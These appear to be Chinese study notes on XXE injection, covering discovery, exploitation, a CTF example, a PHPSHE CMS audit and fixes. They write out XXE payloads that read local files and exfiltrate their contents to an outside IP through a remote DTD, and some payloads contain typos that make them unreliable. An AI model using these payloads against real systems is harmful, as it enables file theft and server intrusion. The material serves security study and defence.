知识点
1、XML&XXE-原理&发现&利用&修复等
2、XLML&XXE-黑盒模式下的发现与利用
3、XML&XXE-白盒模式下的审计与利用给
4、XML&XXE-无回显&伪协议&产生层面
思路点:
参考:http://www.cnblogs.com/20175211lyz/p/11413335.html
-XXE黑盒发现:
1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输中可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
-XXE白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
详细点:
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档(可选),文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML 与 HTML的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容
HTML被设计用来显示数据,其焦点是数据的外观
HTML旨在显示信息,而XML旨在传输信息
XXE修复防御方案:
-方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true):
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from Ixml import etreexmlData=
etree.parse(xmlSource.etree.XMLParser(resolve_entitles=False))
-方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
案例
XML&XXE-黑盒-原理&探针&利用&玩法等
XML&XXE-前端-CTF&Jarvisoj&探针&利用
XML&XXE-白盒-CMS&PHPSHE&无回显审计
XML&XXE-黑盒-原理&探针&利用&玩法等
客户端:xml发送数据
服务端:xml解析数据
利用xml写一个带有文件读取的代码尝试发送,类似文件读取功能实现。
1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
% file;
]>
<usr><username> &send; </username><password>Mikasa</password></user>
2、外部引用实体dtd;
实体引用: 引用远程的evil2.dtd文件
1、解决拦截防护绕过问题
2、解决数据不回显问题
<?xml version="1.0" ?>
<!DOCTYPE test[
<IENTITY %file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file
]>
<user><username>&send;</username><password>Mikasa</password></user>
evil2.dtd: 读取d;;/e.txt内容
<!ENTITY send SYSTEM "file://d:/e.txt">
3、无回显读文件
<?xml version="1.0" ?>
<!DOCTYPE ANY[
<!ENTITY %file SYSTEM "file:///d/e.txt">
<!ENTITY %file remote SYSTME "http://47.94.236.117/test.dtd">
%remote
%all
]>
<root>&send;</root>
test dtd
<!ENTITY %all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'">
每种语言支持的协议,比如之前做过的file伪协议读取文件的时候用到过
XML&XXE-前端-CTF&Jarvisoj&探针&利用
一道简单的ctf题,考的是xml协议读取文件,要把content-type这一栏改成application/xml,这样才可以顺利解析文件
payload:file:///home/ctf/flag.txt
XML&XXE-白盒-CMS&PHPSHE&无回显审计
漏洞函数在自定义函数pe_getxml里面->谁调用了pe_getxml->wechat_getxml
1、无回显
2、payload问题
3、没漏洞
成功利用上面的payload发送文件
XXE修复方案:
-方案1-禁用外部实体
PHP:
libxml_disable-entity_loader(true);
JAVA;
DocumentBuilderFactory dbf